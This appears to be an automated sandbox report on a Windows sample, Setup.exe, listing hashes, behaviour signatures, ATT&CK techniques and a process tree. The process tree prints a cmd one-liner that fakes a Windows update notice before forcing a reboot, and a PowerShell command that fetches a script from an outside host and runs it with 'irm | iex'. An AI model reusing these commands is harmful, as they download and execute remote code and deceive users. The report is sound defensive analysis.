03e515e9cdd1250bee3c25e23d5efe95c9efca6abac057ac3628132c15e98547

Analysis

max time kernel
6s
max time network
9s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 00:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Setup.exe
Size 146KB
Sample260804-agylfssva1
SHA256 03e515e9cdd1250bee3c25e23d5efe95c9efca6abac057ac3628132c15e98547
MD5 d19a23517f43e45508a441d58f7c63b1
SHA1 a4a07748a51a0e0aaa15c7b23ab98a45691b185e
SHA512 cc8ad848199af3e3fe2a45bed81f0e75bd21d85b62e88c56563969d90bf4f0e804b30f3745cf17f0dc4c6f8d85f707fbf903d8d45b47e980bf5616a0126429ae
SSDEEP 3072:HhK4Uay3XrQ8habqgp9pC9Z6p5uf3C6k0xuZ04ntfxmhBuPCRL:HhK4XycqgpfCup5sVxuZ04uhAE
TLSH
T17AE34A03B2AC00FDE1BBA37889A25906F77678594B7197CF0390C56A1F67BD09E3A711
MD5 SHA1 SHA512 SSDEEP TLSH

Score

5^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	Setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
412	cmd.exe
2976	cmd.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "201"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3928	shutdown.exe
Token: SeRemoteShutdownPrivilege	3928	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3508	LogonUI.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 412	2592	Setup.exe	85
PID 2976 wrote to memory of 2208	2976	cmd.exe	89
PID 2592 wrote to memory of 3928	2592	Setup.exe	90

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Microsoft Windows [Version 10.0.26105.3093] && echo (c) Microsoft Corporation. All rights reserved. && echo. && echo IMPORTANT: A system update is required. && echo Your PC must be restarted to apply these changes. && echo. && echo Restarting is strongly recommended. && echo. && echo Press any key to restart now...
  2⤵
  - Executes a command shell one-liner
  PID:412
- C:\Windows\System32\shutdown.exe
  "C:\Windows\System32\shutdown.exe" /r /t 0 /f
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3928

C:\Windows\system32\cmd.exe
cmd.exe /c powershell.exe irm https://fileshostingnow.com/wedodo.ps1 | iex
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe irm https://fileshostingnow.com/wedodo.ps1
  2⤵
  PID:2208

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39ab855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads